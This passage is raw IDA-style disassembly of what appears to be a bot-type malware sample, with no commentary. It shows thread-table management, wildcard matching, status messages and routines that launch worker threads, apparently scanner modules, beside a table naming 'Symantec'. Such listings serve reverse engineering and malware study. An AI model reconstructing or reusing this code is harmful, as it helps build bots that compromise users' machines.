ebp cmp esi, ebx jle short loc_40B2B9 cmp esi, 400h jge short loc_40B2B9 imul esi, 234h push edi push ebx push dword_43DEC4[esi] lea edi, dword_43DEC4[esi] nop call near ptr 2670E53h cmp [edi], ebx jz short loc_40B269 push 1 pop ebp loc_40B269: ; CODE XREF: sub_40B231+33j mov [edi], ebx lea edi, dword_43DEB8[esi] mov dword_43DEB0[esi], ebx mov dword_43DEB4[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B28A push eax call sub_4199C9 pop ecx loc_40B28A: ; CODE XREF: sub_40B231+50j mov [edi], ebx lea edi, dword_43DEBC[esi] mov byte ptr dword_43DCB0[esi], bl mov byte_43DEC8[esi], bl push dword ptr [edi] call dword_4CB00C lea esi, dword_43DEC0[esi] mov [edi], ebx push dword ptr [esi] call dword_4CB00C mov [esi], ebx pop edi loc_40B2B9: ; CODE XREF: sub_40B231+Dj ; sub_40B231+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B231 endp ; =============== S U B R O U T I N E ======================================= sub_40B2BF proc near ; CODE XREF: sub_40111D+18p ; ___:loc_4017D9p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43DCB0 loc_40B2CB: ; CODE XREF: sub_40B2BF+2Aj cmp byte ptr [esi], 0 jz short loc_40B2DC push edi call sub_40B231 test eax, eax pop ecx jz short loc_40B2DC inc ebx loc_40B2DC: ; CODE XREF: sub_40B2BF+Fj ; sub_40B2BF+1Aj add esi, 234h inc edi cmp esi, offset dword_4CACB0 jl short loc_40B2CB pop edi mov eax, ebx pop esi pop ebx retn sub_40B2BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2F1 proc near ; CODE XREF: sub_401ACD+418Ep ; sub_401ACD+42E0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43DEB4 loc_40B305: ; CODE XREF: sub_40B2F1+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B327 test edi, edi jle short loc_40B319 cmp [esi], edi jz short loc_40B319 cmp ebx, edi jnz short loc_40B327 loc_40B319: ; CODE XREF: sub_40B2F1+1Ej ; sub_40B2F1+22j push ebx call sub_40B231 test eax, eax pop ecx jz short loc_40B327 inc [ebp+var_4] loc_40B327: ; CODE XREF: sub_40B2F1+1Aj ; sub_40B2F1+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CAEB4 jl short loc_40B305 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B2F1 endp ; =============== S U B R O U T I N E ======================================= sub_40B33E proc near ; CODE XREF: ___:00401630p ; sub_401ACD+97Ap ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43DEB0 loc_40B345: ; CODE XREF: sub_40B33E+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B34E inc eax loc_40B34E: ; CODE XREF: sub_40B33E+Dj add ecx, 234h cmp ecx, offset dword_4CAEB0 jl short loc_40B345 retn sub_40B33E endp ; =============== S U B R O U T I N E ======================================= sub_40B35D proc near ; CODE XREF: sub_401ACD+2433p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43DEB0 loc_40B367: ; CODE XREF: sub_40B35D+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B380 add ecx, 234h inc edx cmp ecx, offset dword_4CAEB0 jl short loc_40B367 pop esi retn ; --------------------------------------------------------------------------- loc_40B380: ; CODE XREF: sub_40B35D+10j mov eax, edx pop esi retn sub_40B35D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B384 proc near ; CODE XREF: sub_401ACD+1066p ; sub_401ACD+126Cp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B39D push [ebp+arg_1C] call sub_41B779 pop ecx loc_40B39D: ; CODE XREF: sub_40B384+Ej push eax push [ebp+arg_18] call sub_40B2F1 pop ecx test eax, eax pop ecx jle short loc_40B3C9 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41B886 add esp, 14h jmp short loc_40B3E3 ; --------------------------------------------------------------------------- loc_40B3C9: ; CODE XREF: sub_40B384+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41B886 add esp, 10h loc_40B3E3: ; CODE XREF: sub_40B384+43j cmp [ebp+arg_C], 0 jnz short loc_40B403 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40B403: ; CODE XREF: sub_40B384+63j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx leave retn sub_40B384 endp ; =============== S U B R O U T I N E ======================================= sub_40B412 proc near ; CODE XREF: sub_4017ED+159p ; ___:0040BA47p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43DEC4[eax], ecx mov dword_43DEB0[eax], ecx mov dword_43DEB4[eax], ecx mov dword_43DEB8[eax], ecx mov dword_43DEBC[eax], ecx mov dword_43DEC0[eax], ecx mov byte ptr dword_43DCB0[eax], cl mov byte_43DEC8[eax], cl retn sub_40B412 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B44F proc near ; CODE XREF: sub_401ACD+7E3Bp ; sub_40B57D+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B459: ; CODE XREF: sub_40B44F+68j mov cl, [esi] test cl, cl jz short loc_40B4B9 cmp eax, 1 jnz short loc_40B4B9 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B4B9 cmp cl, 2Ah jz short loc_40B4A0 cmp cl, 3Fh jz short loc_40B483 cmp cl, 5Bh jz short loc_40B488 xor eax, eax cmp cl, dl setz al loc_40B483: ; CODE XREF: sub_40B44F+26j inc [ebp+arg_4] jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B488: ; CODE XREF: sub_40B44F+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B4E5 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B4A0: ; CODE XREF: sub_40B44F+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B57D mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B4B3: ; CODE XREF: sub_40B44F+37j ; sub_40B44F+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B459 ; --------------------------------------------------------------------------- loc_40B4B9: ; CODE XREF: sub_40B44F+Ej ; sub_40B44F+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B4C9 cmp eax, 1 jnz short loc_40B4E0 inc esi mov [ebp+arg_0], esi jmp short loc_40B4B9 ; --------------------------------------------------------------------------- loc_40B4C9: ; CODE XREF: sub_40B44F+6Dj cmp eax, 1 jnz short loc_40B4E0 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B4E0 cmp byte ptr [esi], 0 jnz short loc_40B4E0 push 1 pop eax jmp short loc_40B4E2 ; --------------------------------------------------------------------------- loc_40B4E0: ; CODE XREF: sub_40B44F+72j ; sub_40B44F+7Dj ... xor eax, eax loc_40B4E2: ; CODE XREF: sub_40B44F+8Fj pop esi pop ebp retn sub_40B44F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4E5 proc near ; CODE XREF: sub_40B44F+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B506 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B506: ; CODE XREF: sub_40B4E5+19j push ebx push esi loc_40B508: ; CODE XREF: sub_40B4E5+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B516 cmp [ebp+var_4], eax jnz short loc_40B562 loc_40B516: ; CODE XREF: sub_40B4E5+2Aj test edi, edi jnz short loc_40B557 cmp bl, 2Dh jnz short loc_40B54B mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B54B cmp al, 5Dh jz short loc_40B54B cmp [ebp+var_4], edi jnz short loc_40B54B mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B557 cmp bl, al jg short loc_40B557 push 1 mov [edx], esi pop edi jmp short loc_40B557 ; --------------------------------------------------------------------------- loc_40B54B: ; CODE XREF: sub_40B4E5+38j ; sub_40B4E5+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B557 push 1 pop edi loc_40B557: ; CODE XREF: sub_40B4E5+33j ; sub_40B4E5+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B508 ; --------------------------------------------------------------------------- loc_40B562: ; CODE XREF: sub_40B4E5+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B56F mov ecx, eax sub ecx, edi mov edi, ecx loc_40B56F: ; CODE XREF: sub_40B4E5+82j cmp edi, eax jnz short loc_40B578 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B578: ; CODE XREF: sub_40B4E5+8Cj mov eax, edi pop edi leave retn sub_40B4E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B57D proc near ; CODE XREF: sub_40B44F+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B599: ; CODE XREF: sub_40B57D+3Aj cmp [eax], bl jz short loc_40B5B9 mov cl, [ecx] cmp cl, 3Fh jz short loc_40B5AE cmp cl, 2Ah jnz short loc_40B5B9 cmp cl, 3Fh jnz short loc_40B5B1 loc_40B5AE: ; CODE XREF: sub_40B57D+25j inc eax mov [edi], eax loc_40B5B1: ; CODE XREF: sub_40B57D+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B599 ; --------------------------------------------------------------------------- loc_40B5B9: ; CODE XREF: sub_40B57D+1Ej ; sub_40B57D+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B5C4 inc dword ptr [esi] jmp short loc_40B5B9 ; --------------------------------------------------------------------------- loc_40B5C4: ; CODE XREF: sub_40B57D+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B5E5 mov edx, [esi] cmp [edx], bl jz short loc_40B5D6 xor eax, eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5D6: ; CODE XREF: sub_40B57D+53j cmp cl, bl jnz short loc_40B5E5 mov ecx, [esi] cmp [ecx], bl jnz short loc_40B5E5 push 1 pop eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5E5: ; CODE XREF: sub_40B57D+4Dj ; sub_40B57D+5Bj ... push eax push dword ptr [esi] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_40B62F loc_40B5F3: ; CODE XREF: sub_40B57D+B0j inc dword ptr [edi] mov eax, [edi] loc_40B5F7: ; CODE XREF: sub_40B57D+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B60F cmp cl, 5Bh jz short loc_40B60F cmp dl, bl jz short loc_40B60F inc eax mov [edi], eax jmp short loc_40B5F7 ; --------------------------------------------------------------------------- loc_40B60F: ; CODE XREF: sub_40B57D+82j ; sub_40B57D+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B626 push eax push dword ptr [esi] call sub_40B44F neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B62B ; --------------------------------------------------------------------------- loc_40B626: ; CODE XREF: sub_40B57D+96j mov [ebp+var_4], ebx xor eax, eax loc_40B62B: ; CODE XREF: sub_40B57D+A7j cmp eax, ebx jnz short loc_40B5F3 loc_40B62F: ; CODE XREF: sub_40B57D+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B642 mov eax, [esi] cmp [eax], bl jnz short loc_40B642 mov [ebp+var_4], 1 loc_40B642: ; CODE XREF: sub_40B57D+B6j ; sub_40B57D+BCj mov eax, [ebp+var_4] loc_40B645: ; CODE XREF: sub_40B57D+57j ; sub_40B57D+66j pop edi pop esi pop ebx leave retn sub_40B57D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B64A proc near ; CODE XREF: sub_401ACD+2AF5p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_4317A4 push eax xor ebx, ebx call sub_41B886 cmp dword_431408, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B6BC push esi mov esi, offset dword_431410 loc_40B67D: ; CODE XREF: sub_40B64A+6Fj mov eax, [esi] test eax, eax jbe short loc_40B6B2 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_431798 push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 add esp, 1Ch loc_40B6B2: ; CODE XREF: sub_40B64A+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B67D pop esi loc_40B6BC: ; CODE XREF: sub_40B64A+2Bj push dword_4CACB4 call sub_41A88B pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 34h pop edi pop ebx leave retn sub_40B64A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B719 proc near ; CODE XREF: sub_401ACD+2ADFp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CDA80 mov ecx, dword_4CDA7C push esi push dword_4CACB4 lea esi, [ecx+eax] call sub_41A88B pop ecx push eax push esi push dword_4CDA80 lea eax, [ebp+var_200] push dword_4CDA7C push offset unk_4317C4 push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 30h pop esi leave retn sub_40B719 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B785 proc near ; CODE XREF: sub_401ACD+2AC9p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4CACB4 call sub_41A88B pop ecx push eax lea eax, [ebp+var_200] push dword_4CDCC4 push offset unk_43180C push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 28h leave retn sub_40B785 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7DA proc near ; CODE XREF: sub_401ACD+2AB3p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push edi lea eax, [ebp+var_800] push offset dword_431858 push eax call sub_41B886 cmp dword_431408, 0 pop ecx pop ecx mov edi, 800h jz short loc_40B846 push esi mov esi, offset aSymantec ; "Symantec" loc_40B80F: ; CODE XREF: sub_40B7DA+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_431848 push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40B80F pop esi loc_40B846: ; CODE XREF: sub_40B7DA+2Dj push dword_4CACB4 call sub_41A88B pop ecx push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_800] push eax call sub_4151AC add esp, 30h pop edi leave retn sub_40B7DA endp ; --------------------------------------------------------------------------- byte_40B8A1 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+30E0o ; --------------------------------------------------------------------------- sub esp, 3F0h mov eax, [ebp+8] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp-134h] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp-134h] push eax call dword_4CAFB4 xor edi, edi mov [ebp-8], eax cmp dword_431408, edi mov [ebp-4], edi mov [ebp+8], edi jz loc_40BA03 mov ebx, offset dword_431408 mov eax, ebx loc_40B8F2: ; CODE XREF: ___:0040B9FDj push dword ptr [ebp-1Ch] push dword ptr [eax] push dword ptr [ebp-8] call sub_40C087 add esp, 0Ch cmp eax, 1 jnz loc_40B9F3 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp-134h] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp-3F0h] push offset unk_4318A8 push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A72 lea eax, [ebp-3F0h] push eax call sub_4151AC add esp, 2Ch lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_41B886 pop ecx lea eax, [ebp-15Ch] pop ecx push esi push eax call sub_41B886 cmp byte ptr [ebp-0A4h], 0 pop ecx pop ecx lea eax, [ebp-0A4h] jnz short loc_40B98E lea eax, [ebp-124h] loc_40B98E: ; CODE XREF: ___:0040B986j push eax lea eax, [ebp-1DCh] push eax call sub_41B886 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [ebx] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_40B9F3: ; CODE XREF: ___:0040B905j inc dword ptr [ebp+8] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40B8F2 loc_40BA03: ; CODE XREF: ___:0040B8E5j push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset unk_431874 push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A72 lea eax, [ebp-3F0h] push eax call sub_4151AC push dword ptr [ebp-18h] call sub_40B412 add esp, 2Ch push edi nop ; --------------------------------------------------------------------------- db 0E8h, 0AAh, 45h ; --------------------------------------------------------------------------- sub eax, [edx] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA56 proc near ; CODE XREF: sub_401ACD+244Ep var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B33E test eax, eax pop ecx jle short loc_40BA92 mov eax, [ebp+arg_C] push dword_4CB0C0[eax*8] call dword_4CB000 push eax lea eax, [ebp+var_200] push offset unk_4318F8 push eax call sub_41B886 add esp, 0Ch jmp short loc_40BAA5 ; --------------------------------------------------------------------------- loc_40BA92: ; CODE XREF: sub_40BA56+13j lea eax, [ebp+var_200] push offset unk_4318D8 push eax call sub_41B886 pop ecx pop ecx loc_40BAA5: ; CODE XREF: sub_40BA56+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 18h leave retn sub_40BA56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BACD proc near ; CODE XREF: sub_40C124+267p var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40BF9F shl eax, 6 xor ebx, ebx cmp dword_431414[eax], ebx jz loc_40BF9F push 5 call sub_40B33E test eax, eax pop ecx jnz loc_40BD54 mov eax, dword_429078 push edi mov esi, offset dword_4CD17C push 104h push esi push ebx mov dword_4CD38C, eax mov dword_4CD388, ebx call near ptr 2650000h nop mov edi, offset byte_429108 push 103h push edi push offset dword_4CD280 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD178, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4CD410, eax jnz short loc_40BB80 lea eax, [ebp+arg_10] push eax push offset dword_4CD390 call sub_41B5F0 add esp, 0Ch mov dword_4CD414, 1 jmp short loc_40BB9A ; --------------------------------------------------------------------------- loc_40BB80: ; CODE XREF: sub_40BACD+94j lea eax, [ebp+arg_90] push eax push offset dword_4CD390 call sub_41B5F0 add esp, 0Ch mov dword_4CD414, ebx loc_40BB9A: ; CODE XREF: sub_40BACD+B1j push esi lea eax, [ebp+var_204] push dword_4CD38C push offset unk_42BE5C push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CD384, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD178 push offset word_411796 push ebx push ebx nop call near ptr 266051Eh mov ecx, dword_4CD384 imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BC08 loc_40BBF6: ; CODE XREF: sub_40BACD+139j cmp dword_4CD418, ebx jnz short loc_40BC23 push 32h call near ptr 26604A7h nop jmp short loc_40BBF6 ; --------------------------------------------------------------------------- loc_40BC08: ; CODE XREF: sub_40BACD+127j nop call near ptr 2660DCFh push eax lea eax, [ebp+var_204] push offset unk_431A18 push eax call sub_41B886 add esp, 0Ch loc_40BC23: ; CODE XREF: sub_40BACD+12Fj lea eax, [ebp+var_204] push eax call sub_4151AC mov eax, dword_4CACB0 mov esi, offset dword_4CD424 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CD634, eax mov dword_4CD630, ebx nop call near ptr 2650000h push 103h push edi push offset dword_4CD528 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD420, eax mov eax, [ebp+arg_138] pop edi mov dword_4CD6B8, eax push 7Fh jnz short loc_40BCA4 lea eax, [ebp+arg_10] push eax push offset dword_4CD638 call sub_41B5F0 add esp, 0Ch mov dword_4CD6BC, 1 jmp short loc_40BCBE ; --------------------------------------------------------------------------- loc_40BCA4: ; CODE XREF: sub_40BACD+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4CD638 call sub_41B5F0 add esp, 0Ch mov dword_4CD6BC, ebx loc_40BCBE: ; CODE XREF: sub_40BACD+1D5j push esi lea eax, [ebp+var_204] push dword_4CD634 push offset unk_4319E4 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CD62C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD420 push offset byte_40E991 push ebx push ebx call near ptr 266051Eh nop mov ecx, dword_4CD62C imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BD2C loc_40BD1A: ; CODE XREF: sub_40BACD+25Dj cmp dword_4CD6C0, ebx jnz short loc_40BD47 push 32h call near ptr 26604A7h nop jmp short loc_40BD1A ; --------------------------------------------------------------------------- loc_40BD2C: ; CODE XREF: sub_40BACD+24Bj call near ptr 2660DCFh nop push eax lea eax, [ebp+var_204] push offset unk_4319B0 push eax call sub_41B886 add esp, 0Ch loc_40BD47: ; CODE XREF: sub_40BACD+253j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BD54: ; CODE XREF: sub_40BACD+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_43141C[ecx], ebx jz loc_40BE7D push 7 call sub_40B33E test eax, eax pop ecx jnz loc_40BE77 mov eax, dword_4CDCBC cmp [ebp+arg_90], bl mov dword_4CD0E4, eax mov eax, [ebp+arg_110] mov dword_4CD0D8, eax mov eax, [ebp+arg_138] mov dword_4CD0E0, ebx mov dword_4CD168, eax push 7Fh jnz short loc_40BDC8 lea eax, [ebp+arg_10] push eax push offset dword_4CD0E8 call sub_41B5F0 add esp, 0Ch mov dword_4CD16C, 1 jmp short loc_40BDE2 ; --------------------------------------------------------------------------- loc_40BDC8: ; CODE XREF: sub_40BACD+2DCj lea eax, [ebp+arg_90] push eax push offset dword_4CD0E8 call sub_41B5F0 add esp, 0Ch mov dword_4CD16C, ebx loc_40BDE2: ; CODE XREF: sub_40BACD+2F9j push dword_4CD0E4 lea eax, [ebp+var_204] push offset unk_431980 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B0F6 add esp, 18h mov dword_4CD0DC, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD0D8 push offset byte_40E6EF push ebx push ebx nop call near ptr 266051Eh mov ecx, dword_4CD0DC imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BE4F loc_40BE3D: ; CODE XREF: sub_40BACD+380j cmp dword_4CD170, ebx jnz short loc_40BE6A push 32h call near ptr 26604A7h nop jmp short loc_40BE3D ; --------------------------------------------------------------------------- loc_40BE4F: ; CODE XREF: sub_40BACD+36Ej nop call near ptr 2660DCFh push eax lea eax, [ebp+var_204] push offset unk_431948 push eax call sub_41B886 add esp, 0Ch loc_40BE6A: ; CODE XREF: sub_40BACD+376j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BE77: ; CODE XREF: sub_40BACD+2A8j mov eax, [ebp+arg_130] loc_40BE7D: ; CODE XREF: sub_40BACD+298j shl eax, 6 cmp dword_431418[eax], ebx jz loc_40BF9F push 3 call sub_40B33E test eax, eax pop ecx jnz loc_40BF9F mov esi, offset dword_4CD954 push 104h push esi push ebx nop call near ptr 2650000h push 5Ch push esi call sub_41BE40 pop ecx cmp eax, ebx pop ecx jz short loc_40BEBE mov [eax], bl loc_40BEBE: ; CODE XREF: sub_40BACD+3EDj mov eax, dword_42907C mov dword_4CDA6C, ebx mov dword_4CDA58, eax lea eax, [ebp+arg_10] push eax push offset dword_4CD6CC call sub_41B886 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CD6C8, eax mov ecx, [ebp+arg_138] push esi push dword_4CDA58 mov dword_4CDA64, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CDA68, ecx call sub_40AC0F pop ecx push eax lea eax, [ebp+var_204] push offset unk_42BDE4 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B0F6 add esp, 20h mov dword_4CDA60, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD6C8 push offset sub_40F0D5 push ebx push ebx call near ptr 266051Eh nop mov ecx, dword_4CDA60 imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BF77 loc_40BF65: ; CODE XREF: sub_40BACD+4A8j cmp dword_4CDA74, ebx jnz short loc_40BF92 push 32h nop call near ptr 26604A7h jmp short loc_40BF65 ; --------------------------------------------------------------------------- loc_40BF77: ; CODE XREF: sub_40BACD+496j call near ptr 2660DCFh nop push eax lea eax, [ebp+var_204] push offset unk_431914 push eax call sub_41B886 add esp, 0Ch loc_40BF92: ; CODE XREF: sub_40BACD+49Ej lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BF9F: ; CODE XREF: sub_40BACD+14j ; sub_40BACD+25j ... pop esi pop ebx leave retn sub_40BACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFA3 proc near ; CODE XREF: 